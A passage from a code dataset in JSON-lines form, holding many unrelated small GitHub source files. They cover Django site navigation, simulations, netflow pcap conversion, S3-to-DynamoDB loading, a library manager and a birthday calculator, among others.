self._sorted_list = []\n\n def assert_site_is_finalized(self):\n if not self._finalized:\n self._finalized = True\n self._finalize_site()\n\n def _finalize_site(self):\n iterations = 0\n while self._unsorted_list:\n iterations += 1\n if iterations > 512:\n message = (\"%s site hierarchy is invalid or too complex \"\n \"to resolve. pages left: %s\" % self._unsorted_list)\n raise ValueError(message)\n\n for index, page in enumerate(self._unsorted_list):\n if page['after']:\n page_added = self._insert_page(page, after=page['after'])\n elif page['before']:\n page_added = self._insert_page(page, before=page['before'])\n else:\n page_added = self._insert_page(page)\n\n if page_added:\n del self._unsorted_list[index]\n break\n\n def _insert_page(self, inserted_page, after=None, before=None):\n if after:\n new_sorted_list = []\n for index, page in enumerate(self._sorted_list):\n new_sorted_list.append(page)\n if page['link'] == after:\n new_sorted_list.append(inserted_page)\n self._sorted_list = new_sorted_list\n return True\n else:\n return False\n elif before:\n new_sorted_list = []\n for index, page in enumerate(self._sorted_list):\n if page['link'] == before:\n new_sorted_list.append(inserted_page)\n new_sorted_list.append(page)\n self._sorted_list = new_sorted_list\n return True\n else:\n new_sorted_list.append(page)\n else:\n return False\n else:\n self._sorted_list.append(inserted_page)\n return True\n\n def add_page(self, link, name, icon=None, after=None, before=None,\n visible_if=None, badge=None):\n if self._finalized:\n message = (\"%s site was initialized already and no longer \"\n \"accepts new pages\")\n raise RuntimeError(message % self.name)\n\n if after and before:\n raise ValueError(\"after and before arguments are exclusive\")\n\n self._unsorted_list.append({\n 'link': link,\n 'name': name,\n 'icon': icon,\n 'after': after,\n 'before': before,\n 'badge': badge,\n 'visible_if': visible_if,\n })\n\n def _active_link_name(self, request):\n namespace = request.resolver_match.namespace\n url_name = request.resolver_match.url_name\n\n if namespace:\n active_link = '%s:%s' % (namespace, url_name)\n else:\n active_link = url_name\n return active_link\n\n def get_pages(self, request, profile=None):\n self.assert_site_is_finalized()\n active_link = self._active_link_name(request)\n visible_pages = []\n\n if profile:\n test_args = (request, profile)\n else:\n test_args = (request,)\n\n for page_definition in self._sorted_list:\n page = page_definition.copy()\n\n is_visible = True\n if page['visible_if']:\n is_visible = page['visible_if'](*test_args)\n\n if is_visible:\n if page['badge']:\n page['badge'] = page['badge'](*test_args)\n page['is_active'] = active_link.startswith(page['link'])\n visible_pages.append(page)\n return visible_pages\n\n def get_default_link(self):\n self.assert_site_is_finalized()\n return self._sorted_list[0]['link']\n\n\nusercp = Site('usercp')\nusers_list = Site('users list')\nuser_profile = Site('user profile')\n","repo_name":"xuzhao1211/OnlineExam","sub_path":"misago/users/sites.py","file_name":"sites.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20421958710","text":"import numpy as np\nimport random as rd\nimport matplotlib.pyplot as plt\n\ndef birth(beta):\n N = 10000\n a = np.zeros(N+1, dtype=int)\n a[0] = 1\n for n in range(N):\n a[n+1] = a[n] + (1 if rd.random() < beta*a[n] else 0)\n return a\n\n# 一つのサンプルパス\nrd.seed(2020202)\nbeta = 0.0003\na = birth(beta)\nfig = plt.figure()\nplt.suptitle(\"a sample for beta=0.0003\")\nplt.xlim(0, 10000)\nplt.ylim(0, 40)\nplt.plot(a, '.')\n\n# 10個のサンプルパス\nbeta = 0.0007\na10 = np.array([birth(beta) for k in range(10)])\nfig2 = plt.figure()\nplt.suptitle(\"10 samples for beta=0.0007\")\nplt.xlim(0,10000)\nfor k in range(10):\n plt.plot(a10[k,:], 'o',ms=0.25)\n\n# 10個のサンプルパス��平均\nfig3 = plt.figure()\nplt.suptitle(\"mean of 10 samples for beta=0.0007\")\nplt.xlim(0,10000)\nplt.plot(np.mean(a10, axis=0), 'o', markersize=0.25)\n\nplt.show()\n","repo_name":"tmiyaji/sgc164","sub_path":"files/birth.py","file_name":"birth.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"40181474920","text":"def class_count_dict_to_class_set(class_count_list):\n \"\"\"\n It expects a list of dicts with the following structure:\n \n [\n {\n \"_POS_\": 1,\n \"_CP_\": {\n \"P279\": 19,\n \"P31\": 36338322\n },\n \"_TOTALS_\": 36338341,\n \"_CLASS_\": \"Q13442814\"\n },\n {\n \"_POS_\": 2,\n \"_CP_\": {\n \"P279\": 236,\n \"P31\": 8218111\n },\n \"_TOTALS_\": 8218347,\n \"_CLASS_\": \"Q5\"\n },\n \n ....\n ]\n \n It returns a set of every class mentioned in the dicts\n\n :param class_count_list: \n :return: \n \"\"\"\n return set([a_dict[\"_CLASS_\"] for a_dict in class_count_list])\n\ndef class_count_dict_to_instance_counting_ranking(class_count_list):\n \"\"\"\n It expects a list of dicts with the following structure:\n\n [\n {\n \"_POS_\": 1,\n \"_CP_\": {\n \"P279\": 19,\n \"P31\": 36338322\n },\n \"_TOTALS_\": 36338341,\n \"_CLASS_\": \"Q13442814\"\n },\n {\n \"_POS_\": 2,\n \"_CP_\": {\n \"P279\": 236,\n \"P31\": 8218111\n },\n \"_TOTALS_\": 8218347,\n \"_CLASS_\": \"Q5\"\n },\n\n ....\n ]\n\n It returns a ranking of classes sorted by instance counting, with the following format:\n\n[\n [\n \"http://dbpedia.org/ontology/Person\",\n 0.508387094565854,\n 1\n ],\n [\n \"http://dbpedia.org/ontology/Agent\",\n 0.5,\n 2\n ],\n ...\n]\n\n :param class_count_list:\n :return:\n \"\"\"\n result = []\n for an_item in class_count_list:\n if \"P31\" in an_item[\"_CP_\"]:\n result.append([an_item[\"_CLASS_\"], an_item[\"_CP_\"][\"P31\"]])\n result.sort(reverse=True, key=lambda x: x[1])\n i = 0\n for an_item in result:\n i += 1\n an_item.append(i)\n return result","repo_name":"DaniFdezAlvarez/classrank","sub_path":"experimentation/wikidata/dump/json_views.py","file_name":"json_views.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"5841534631","text":"#from tensorflow import keras\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nmodelToLoad = 4\n\nlog_data = pd.read_csv(\"model\" + str(modelToLoad) + \".log\", sep=',', engine='python')\n\nplt.plot(log_data['loss'])\nplt.plot(log_data['val_loss'])\nplt.show()","repo_name":"willdunklin/deep-learning-project","sub_path":"plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"20897698731","text":"from functions import clear\nfrom Comida import *\n\ndef gestionComida(data):\n\n while True:\n clear()\n print('******************************')\n print(' GESTIÓN DE FERIA')\n print('******************************\\n')\n \n print('¿Qué desea hacer?\\n')\n print('===>Eliminar producto del menú(1)')\n print('===>Buscar productos (2)')\n print('===>Menú principal (3)')\n opcion = input('===>Opción: ')\n\n clear()\n\n if opcion == '1':\n #Elimina el producto del menú \n for producto in data:\n print('-',producto.nombre)\n nombre = input('\\nEscriba el nombre del producto que desea eliminar: ')\n for producto in data:\n if producto.nombre.lower() == nombre.lower():\n producto.visible = False\n break\n print('Producto eliminado del menú')\n input('Presione ENTER para volver al menú principal')\n\n elif opcion == '2':\n #busca productos de la feria con filtro\n print('¿Qué filtro desea aplicar?\\n')\n print('===>Nombre (1)')\n print('===>Tipo (2)')\n print('===>Rango de precio (3)')\n print('===>Regresar (4)')\n opcion = input('===>Opción: ')\n\n clear()\n\n if opcion == '1':\n nombre = input('Ingrese nombre del producto: ')\n for producto in data:\n if nombre.lower() == producto.nombre.lower() and producto.visible:\n producto.info()\n input('\\nPresione ENTER para regresar')\n elif opcion == '2':\n tipo = input('Ingrese el tipo de comida (bebida) (alimento): ')\n for producto in data:\n if tipo.lower() == producto.clasificacion.lower() and producto.visible:\n producto.info()\n input('\\nPresione ENTER para regresar')\n elif opcion == '3':\n min = int(input('Ingrese el menor precio: $'))\n max = int(input('Ingrese el mayor precio: $'))\n for producto in data:\n if producto.precio >= min and producto.precio <= max and producto.visible:\n producto.info()\n input('\\nPresione ENTER para regresar')\n elif opcion == '4':\n continue\n else:\n print('opción no válida')\n else:\n break\n","repo_name":"mariounimet/SamanShow","sub_path":"gestionComida.py","file_name":"gestionComida.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22388286999","text":"import math\nfrom random import random\n\nn = 10000\nedge_prob = (math.log(n,2))/n\n\ndef edge_variable():\n\treturn random() <= edge_prob\n\ndef print_lograndom():\n full_graph = \"\"\n for v1 in range(n):\n for v2 in range(v1+1, n):\n if edge_variable():\n full_graph += str(v1)+\"\\t\"+str(v2)+\"\\n\"\n f = open(\"src/main/resources/giraph/lograndom_graph.txt\")\n f.write(full_graph)\n f.close()\n","repo_name":"karen-nativ/big-data-algorithms","sub_path":"AuxScripts/create_lograndom.py","file_name":"create_lograndom.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28649291432","text":"import json\nimport re\nimport ipaddress\nfrom .smtp_utils import send_alert\nfrom .config_loader import write_log\n\n# function checking if domain written correctly\ndef check_domain(domain):\n if len(domain) < 3:\n return False\n if len(domain) > 255:\n return False\n if domain.count('.') == 0:\n return False\n includedomain = domain.split('.')\n for k in includedomain:\n if k == '':\n return False\n if len(k) > 63:\n return False\n if re.search('[^a-z0-9\\-]', k):\n return False\n if (k[0] == '-') or (k[len(k)-1] == '-'):\n return False\n return True\n\n# function checking if IP address written correctly\ndef check_ip(ipaddr):\n try:\n ipaddress.ip_address(ipaddr)\n return True\n except ValueError:\n return False\n\n# function checking if status changed and sending an email if it did\ndef check_result_status(domain, result):\n try:\n with open(f\"results/{domain}.json\",'r',encoding='utf-8') as r:\n rc_old = json.load(r)\n except FileNotFoundError:\n rc_old = {}\n\n for srv in result['results']:\n status_new = result['results'][srv]['status']\n try:\n status_old = rc_old['results'][srv]['status']\n except KeyError:\n status_old = 'ok'\n\n try:\n time_error_old = rc_old['results'][srv]['time_error']\n except KeyError:\n time_error_old = None\n\n error_new = result['results'][srv]['error'] if 'error' in result['results'][srv] else ''\n\n subject = \"\"\n msg = \"\"\n\n if status_new == 'fail' and status_old == 'ok':\n subject = f\"{domain} {srv} ALERT!\"\n msg = f\"{domain} {srv} ALERT!\\n{error_new}\"\n write_log(f\"{domain} {srv} failed. {error_new}\")\n \n if status_new == 'ok' and status_old == 'fail':\n msg = subject = f\"{domain} {srv} Recovery\"\n write_log(f\"{domain} {srv} recovered\")\n\n # setting error time into its previous value\n if status_new == 'fail' and status_old == 'fail':\n result['results'][srv]['time_error'] = time_error_old\n\n if msg:\n send_alert(subject, msg)\n","repo_name":"SeraphimUA/ksu_monitoring","sub_path":"monitoring/check_utils.py","file_name":"check_utils.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"15435817828","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('academicManager', '0004_aula_arduino'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Sala',\n fields=[\n ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),\n ('bloco', models.CharField(max_length=200)),\n ('espaco', models.CharField(max_length=200)),\n ('sala', models.CharField(max_length=200)),\n ('arduino', models.ForeignKey(to='academicManager.Arduino')),\n ],\n ),\n migrations.RemoveField(\n model_name='aula',\n name='arduino',\n ),\n ]\n","repo_name":"CristianoSouza/tcc","sub_path":"application/applicationManager/academicManager/migrations/0005_auto_20160126_1716.py","file_name":"0005_auto_20160126_1716.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6070843680","text":"graph = {\r\n 'A' : ['B', 'C', 'D'],\r\n 'B' : ['E', 'G'],\r\n 'C' : ['F'],\r\n 'D' : [],\r\n 'E' : ['F'],\r\n 'F' : [],\r\n 'G' : ['A', 'H'],\r\n 'H' : []\r\n }\r\n\r\nvisited = list()\r\nqueue = list()\r\ndef bfs(visited, graph, node):\r\n visited.append(node)\r\n queue.append(node)\r\n \r\n while queue:\r\n s = queue.pop(0)\r\n \r\n for neighbour in graph[s]:\r\n if neighbour not in visited:\r\n visited.append(neighbour)\r\n queue.append(neighbour)\r\n\r\nbfs(visited, graph, 'A')\r\nprint(visited)","repo_name":"ish-gupta/temp-BD","sub_path":"Practical_6_BFS.py","file_name":"Practical_6_BFS.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18669181687","text":"import csv\nimport json\nimport time\nimport boto3\nimport codecs\nimport itertools\nfrom zipfile import ZipFile\n\nfrom smart_open import smart_open\n\nrsc_dynamodb = boto3.resource('dynamodb')\n\n\ndef handler(event, context):\n zfile = 'datum.zip'\n tableName = 'csvdumps'\n key = 'datum/data8216.csv'\n bucket = 'boto-ops-s3-369'\n csize = 25\n s3_uri = f's3://{bucket}/{zfile}'\n\n t = time.time()\n stream = yield_csv_data(s3_uri, key)\n for _ in range(25):\n chunk = itertools.islice(stream, csize)\n write_to_dynamo(tableName, chunk)\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"bucket\": bucket,\n \"source\": s3_uri,\n \"target\": tableName,\n \"records\": csize,\n \"time_taken\": round(time.time() - t, 3)\n })\n }\n\n\ndef write_to_dynamo(table_name, rows, rsc_dynamodb=rsc_dynamodb):\n table = rsc_dynamodb.Table(table_name)\n\n with table.batch_writer(overwrite_by_pkeys=['Year', 'count']) as batch:\n for row in rows:\n batch.put_item(Item=row)\n\n\ndef yield_csv_data(s3_uri, key):\n with smart_open(s3_uri, 'rb') as zip_obj:\n zippo = ZipFile(zip_obj)\n with zippo.open(key, 'r') as csv_file:\n for row in csv.DictReader(codecs.getreader('utf-8')(csv_file)):\n yield row\n","repo_name":"n-raghu/aws-nuggets","sub_path":"zip-ingestion/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43922371839","text":"from fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.orm import Session\nfrom ..database import SessionLocal\nfrom ..controllers import patient_controller\nfrom ..models import patient as patient_model\n\nrouter = APIRouter()\n\n# Dependency to get the database session\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\n# Create a new patient\n@router.post(\"/patients/\", response_model=patient_model.Patient)\ndef create_patient(patient_data: patient_model.Patient, db: Session = Depends(get_db)):\n return patient_controller.create_patient(db, patient_data)\n\n# Get a patient by ID\n@router.get(\"/patients/{patient_id}\", response_model=patient_model.Patient)\ndef read_patient(patient_id: int, db: Session = Depends(get_db)):\n db_patient = patient_controller.get_patient(db, patient_id)\n if db_patient is None:\n raise HTTPException(status_code=404, detail=\"Patient not found\")\n return db_patient\n\n# Get all patients\n@router.get(\"/patients/\", response_model=list[patient_model.Patient])\ndef read_patients(db: Session = Depends(get_db)):\n return patient_controller.get_all_patients(db)\n\n# Update a patient by ID\n@router.put(\"/patients/{patient_id}\", response_model=patient_model.Patient)\ndef update_patient(patient_id: int, patient_data: patient_model.Patient, db: Session = Depends(get_db)):\n db_patient = patient_controller.update_patient(db, patient_id, patient_data)\n if db_patient is None:\n raise HTTPException(status_code=404, detail=\"Patient not found\")\n return db_patient\n\n# Delete a patient by ID\n@router.delete(\"/patients/{patient_id}\", response_model=patient_model.Patient)\ndef delete_patient(patient_id: int, db: Session = Depends(get_db)):\n db_patient = patient_controller.delete_patient(db, patient_id)\n if db_patient is None:\n raise HTTPException(status_code=404, detail=\"Patient not found\")\n return db_patient\n","repo_name":"dzoxploit/fastapi_clinics","sub_path":"patient_app/app/routers/patients.py","file_name":"patients.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18635489358","text":"class library:\n def __init__(self):\n self.books = [\"DSA\", \"PYTHON FOR BEGINNERS\",\n \"COMMPLETE JAVA\", \"DATA VISUALIZATION\", \"PYTHON FOR ML\"]\n\n def listOfBooks(self):\n print(\"Total number of books available :-\")\n for i, j in enumerate(self.books):\n print(\"\\t {} {}\".format(i, j))\n\n def bookBorrowed(self, book):\n if book in self.books:\n self.books.remove(book)\n print(f\"You borrowed {book} from the library.\")\n else:\n print(\n \"Please enter a valid book name OR it has been borrowed by someone else:\")\n\n def bookReturned(self, book):\n if book in self.books:\n print(\"This book is already present in their :) \")\n else:\n self.books.append(book)\n print(f\"You added {book} book in library.\")\n\n\nclass student:\n def stuBookBorrowed(self):\n self.b = input(\"Enter a book name you want to borrow? ---> \")\n return self.b\n\n def stuReturnedBook(self):\n self.b = input(\n \"Enter a book you want to donate or return to libbrabry! : \")\n return self.b\n\n\nif __name__ == \"__main__\":\n\n centralLibrary = library()\n students = student()\n\n while(True):\n welcomeMsg = '''\\n\n --------- WELCOME TO CENTRAL LIBRARY ---------\n i. SELECT '1' TO SEE ALL THE BOOKS\n ii. SELECT '2' TO BORROW A BOOK\n iii. SELECT '3' TO RETURN/DONATE A BOOK\n iv. SELECT '4' TO EXIT THE LIBRARY\n\n '''\n print(welcomeMsg)\n choice = int(input(\"Enter your choice: \"))\n if choice == 1:\n centralLibrary.listOfBooks()\n elif choice == 2:\n centralLibrary.bookBorrowed(students.stuBookBorrowed())\n\n elif choice == 3:\n centralLibrary.bookReturned(students.stuReturnedBook())\n\n elif choice == 4:\n exit()\n else:\n print(\"Enter a valid book name\")\n","repo_name":"kevalpatel09/library-managment","sub_path":"l-managment.py","file_name":"l-managment.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14749415901","text":"import argparse\nimport glob\nimport json\nimport os\nimport pprint\nimport subprocess\nimport tempfile\n\n\ndef run_nfdump(nfcapd_file):\n \"\"\"Run nfdump command and capture the JSON output\"\"\"\n command = [\"nfdump\", \"-r\", nfcapd_file, \"-n\", \"-N\", \"-o\", \"json\", \"-O\", \"bytes\"]\n output = subprocess.check_output(command)\n\n # Decode the JSON output\n json_output = output.decode(\"utf-8\")\n\n # Convert the JSON string to a dictionary\n data = json.loads(json_output)\n\n return data\n\n\ndef convert_pcap(input_pcap, output_dir):\n \"\"\"Convert pcap file using nfpcapd and return a list of file paths\"\"\"\n # Create a temporary directory for the output files\n temp_dir = tempfile.mkdtemp()\n\n # Run nfpcapd command\n command = [\"nfpcapd\", \"-r\", input_pcap, \"-l\", temp_dir]\n subprocess.run(command, check=True)\n\n # Get the paths of the output files\n file_paths = glob.glob(os.path.join(temp_dir, \"nfcapd.*\"))\n\n # Return the list of file paths\n return file_paths\n\n\ndef process_nfcapd_files(nfcapd_files):\n \"\"\"Process nfcapd files and return an output dictionary\"\"\"\n output_dict = {}\n\n for nfcapd_file in nfcapd_files:\n # Extract the file name without the path\n file_name = os.path.basename(nfcapd_file)\n\n # Run nfdump and capture the JSON output\n json_output = run_nfdump(nfcapd_file)\n\n # Add the JSON output to the dictionary\n output_dict[file_name] = json_output\n\n return output_dict\n\n\ndef main():\n \"\"\"Main function\"\"\"\n # Parse command-line arguments\n parser = argparse.ArgumentParser(description=\"Convert pcap file and run nfdump\")\n parser.add_argument(\"input_pcap\", help=\"Path to the input pcap file\")\n args = parser.parse_args()\n\n # Create the output directory using tempfile\n output_dir = tempfile.mkdtemp()\n\n # Create an empty output dictionary\n output_dict = {}\n\n # Convert the pcap file\n nfcapd_files = convert_pcap(args.input_pcap, output_dir)\n\n # Process the nfcapd files\n output_dict = process_nfcapd_files(nfcapd_files)\n\n # Access the JSON output for a specific file\n if nfcapd_files:\n file_name = os.path.basename(nfcapd_files[0])\n json_output = output_dict[file_name]\n\n output_dict[file_name] = json_output\n # Perform further processing as needed\n\n else:\n print(\"No nfcapd files generated.\")\n\n # Pretty-print the output dictionary\n pprint.pprint(output_dict)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sybernomad/python-netflow","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26656143997","text":"import random\n\nfrom django import forms\nfrom django.forms import Widget\n\nfrom events.models import EventSignup, TournamentSignup\n\nPLACEHOLDER_TEXTS = [\n 'Bottom text',\n 'First!!!11',\n '🚅🚅🚅',\n 'Thanks for another £5 donation to RNJesus',\n 'MOOP VEEN',\n 'According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground.',\n 'KAREN YOU WITCH. RELEASE ME FROM THIS PLACEHOLDER TEXT AT ONCE.',\n '🦀UWCS POWERLESS AGAINST A FLAMINGO🦀',\n 'olives--',\n 'olives++',\n 'uwu-- awoo++ owo++ mrporky-- cheese++ cheeseheads++',\n]\n\n\ndef get_placeholder():\n return PLACEHOLDER_TEXTS[int(random.random() * len(PLACEHOLDER_TEXTS))]\n\n\nclass Textarea(Widget):\n input_type = 'textarea'\n template_name = 'django/forms/widgets/textarea.html'\n\n def __init__(self, attrs=None):\n # Use slightly better defaults than HTML's 20x2 box\n default_attrs = {'cols': '40', 'rows': '10'}\n if attrs:\n default_attrs.update(attrs)\n super().__init__(default_attrs)\n\n\nclass TournamentCommentForm(forms.ModelForm):\n class Meta:\n model = TournamentSignup\n fields = ['comment']\n widgets = {\n 'comment': Textarea(attrs={\n 'placeholder': get_placeholder(),\n })\n }\n\n\nclass TournamentSignupForm(forms.ModelForm):\n class Meta:\n model = TournamentSignup\n fields = ['platform_tag']\n\n\nclass EventSignupForm(forms.ModelForm):\n class Meta:\n model = EventSignup\n fields = ['comment']\n widgets = {\n 'comment': Textarea(attrs={\n 'placeholder': get_placeholder(),\n })\n }\n","repo_name":"davidjrichardson/warwick_gg","sub_path":"events/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"29049840577","text":"# -*- coding: utf-8 -*-\n__author__ = 'aikawa'\n\nimport datetime\n\nimport balance.balance_api as api\nimport balance.balance_steps as steps\nimport btestlib.data.defaults as defaults\n\nafter = datetime.datetime(2015, 6, 24, 11, 0, 0)\ndt = after\n\nPERSON_TYPE = 'ur'\nSERVICE_ID = 7\nPRODUCT_ID = 1475\nPAYSYS_ID = 1003\n\nclient_id = steps.ClientSteps.create()\nperson_id = steps.PersonSteps.create(client_id, PERSON_TYPE)\n\ndpt_service_order_id = steps.OrderSteps.next_id(service_id=SERVICE_ID)\norder_id = steps.OrderSteps.create(client_id=client_id, service_order_id=dpt_service_order_id, product_id=PRODUCT_ID, service_id=SERVICE_ID)\norders_list = [\n {'ServiceID': SERVICE_ID, 'ServiceOrderID': dpt_service_order_id, 'Qty': 200, 'BeginDT': dt}\n]\nrequest_id = steps.RequestSteps.create(client_id=client_id, orders_list=orders_list, invoice_dt=dt)\ninvoice_id, _, _ = steps.InvoiceSteps.create(request_id=request_id, person_id=person_id, paysys_id=PAYSYS_ID,\n credit=0, contract_id=None, overdraft=0, endbuyer_id=None)\nsteps.InvoiceSteps.pay(invoice_id)\n# steps.CampaignsSteps.do_campaigns(SERVICE_ID, dpt_service_order_id, {'Bucks': 100}, 0, dt)\n\n\ndst_service_order_id = steps.OrderSteps.next_id(service_id=SERVICE_ID)\ndst_order_id = steps.OrderSteps.create(client_id=client_id, service_order_id=dst_service_order_id, product_id=PRODUCT_ID, service_id=SERVICE_ID)\n\napi.medium().create_transfer_multiple(defaults.PASSPORT_UID,\n [\n {\"ServiceID\": SERVICE_ID,\n \"ServiceOrderID\": dpt_service_order_id,\n \"QtyOld\": 200, \"QtyNew\": 50, \"AllQty\": 0}\n ],\n [\n {\"ServiceID\": SERVICE_ID,\n \"ServiceOrderID\": dst_service_order_id,\n \"QtyDelta\": 1}\n ], 1, None)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/temp/aikawa/Balance/wo_order.py","file_name":"wo_order.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18666072047","text":"import sys\nfrom datetime import datetime as dtm\n\nfrom dimlib import timetracer\n\n@timetracer\ndef get_active_tables(cnx):\n sql_query = f'''\n SELECT\n n.nspname as schema,\n c.relname as name\n FROM\n pg_catalog.pg_class c\n LEFT JOIN\n pg_catalog.pg_namespace n ON n.oid = c.relnamespace\n WHERE c.relkind IN ('r','p','')\n AND n.nspname <> 'pg_catalog'\n AND n.nspname <> 'information_schema'\n AND n.nspname !~ '^pg_toast'\n AND c.relpartbound IS NULL\n AND NOT EXISTS (\n SELECT\n 1\n FROM\n pg_catalog.pg_inherits i\n WHERE\n i.inhrelid = c.oid\n );\n '''\n cnx.rollback()\n with cnx.cursor() as dbcur:\n dbcur.execute(sql_query)\n mother_tables = dbcur.fetchall()\n return {\n _[1] for _ in mother_tables\n }\n\n\ndef get_mother_tbl_columns(cnx, mother_tbl):\n sql_query = f'''SELECT\n column_name\n FROM\n information_schema.columns\n WHERE\n table_name='{mother_tbl}' '''\n with cnx.cursor() as dbcur:\n dbcur.execute(sql_query)\n base_columns = dbcur.fetchall()\n return {\n _[0] for _ in base_columns\n }\n\n\ndef create_ins_tbl(\n cnx,\n mother_tbl,\n ins_tbl,\n ins_tbl_map,\n):\n tbl_columns = ''\n mother_tbl_list = get_mother_tbl_columns(cnx, mother_tbl)\n ins_only_columns = set(ins_tbl_map) - set(mother_tbl_list)\n for fld in ins_only_columns:\n tbl_columns += f'{fld} {ins_tbl_map[fld]},'\n tbl_columns = tbl_columns[:-1]\n tbl_statement = f''' CREATE TABLE IF NOT EXISTS {ins_tbl}(\n {tbl_columns}\n ) INHERITS ({mother_tbl});'''\n with cnx.cursor() as dbcur:\n dbcur.execute(tbl_statement)\n cnx.commit()\n return True\n","repo_name":"n-raghu/ezETL","sub_path":"dbops.py","file_name":"dbops.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"7452685994","text":"import datetime\n\n\nclass Bday:\n def __init__(self, name, surname, r, m, d, tel, home, mail, typ, image):\n self.name = name\n self.surname = surname\n self.r = r\n self.m = m\n self.d = d\n self.tel = tel\n self.address = home\n self.mail = mail\n self.typ = typ\n self.image = image\n\n def im(self):\n return f\"{self.image}\"\n\n def sort_time(self):\n now = datetime.date.today()\n yd_now = now.timetuple().tm_yday\n\n uro = datetime.date(now.year, self.m, self.d)\n yd_uro = uro.timetuple().tm_yday\n\n uro_new = datetime.date(now.year + 1, self.m, self.d)\n yd_uro_new = uro_new.timetuple().tm_yday\n\n syl = datetime.date(now.year, 12, 31)\n yd_syl = syl.timetuple().tm_yday\n\n if yd_uro > yd_now:\n dni = yd_uro - yd_now\n elif yd_uro == yd_now:\n dni = 0\n else:\n dni = yd_syl - yd_now + yd_uro_new\n return dni\n\n def sort_old(self):\n return datetime.date(self.r, self.m, self.d)\n\n def sort_surname(self):\n return f\"{self.surname} {self.name}\\n\"\n\n @staticmethod\n def polish_day(dt):\n if dt == 0:\n y = \"poniedziałek\"\n elif dt == 1:\n y = \"wtorek\"\n elif dt == 2:\n y = \"środa\"\n elif dt == 3:\n y = \"czwartek\"\n elif dt == 4:\n y = \"piątek\"\n elif dt == 5:\n y = \"sobota\"\n elif dt == 6:\n y = \"niedziela\"\n else:\n y = \"błąd dnia\"\n return y\n\n @staticmethod\n def polish_month(mc):\n if mc == 1:\n y = \" styczeń\"\n elif mc == 2:\n y = \" luty\"\n elif mc == 3:\n y = \" marzec\"\n elif mc == 4:\n y = \" kwiecień\"\n elif mc == 5:\n y = \" maj\"\n elif mc == 6:\n y = \" czerwiec\"\n elif mc == 7:\n y = \" lipiec\"\n elif mc == 8:\n y = \" sierpień\"\n elif mc == 9:\n y = \" wrzesień\"\n elif mc == 10:\n y = \" październik\"\n elif mc == 11:\n y = \" listopad\"\n elif mc == 12:\n y = \" grudzień\"\n else:\n y = \"błąd m-ca\"\n return y\n\n def introduce(self):\n if self.typ == \"u\":\n return f\"{self.name} {self.surname}\\n{self.address}\\nTel.: {self.tel}\\nEmail: { self.mail}\\n\"\n else:\n return f\"{self.name} {self.surname}\\n{self.address}\\n\"\n\n def born_day(self):\n born = datetime.date(self.r, self.m, self.d)\n week_day = born.weekday()\n tyt = \"Data urodzenia: \"\n if self.typ == \"r\":\n tyt = \"Data ślubu: \"\n\n return f\"{tyt} {self.d} {self.polish_month(self.m)} {self.r} {self.polish_day(week_day)}\\n\"\n\n def calculate_age(self):\n born = datetime.date(self.r, self.m, self.d)\n now = datetime.date.today()\n yd_now = now.timetuple().tm_yday\n uro = datetime.date(now.year, self.m, self.d)\n yd_uro = uro.timetuple().tm_yday\n uro_old = datetime.date(now.year - 1, self.m, self.d)\n yd_uro_old = uro_old.timetuple().tm_yday\n syl_old = datetime.date(now.year - 1, 12, 31)\n yd_syl_old = syl_old.timetuple().tm_yday\n\n w = \"Wiek: \"\n y = \"urodziny\"\n if self.typ == \"r\":\n w = \"Po ślubie: \"\n y = \"rocznica ślubu\"\n\n if yd_uro < yd_now:\n lat = now.year - born.year\n dni = yd_now - yd_uro\n elif yd_uro == yd_now:\n lat = 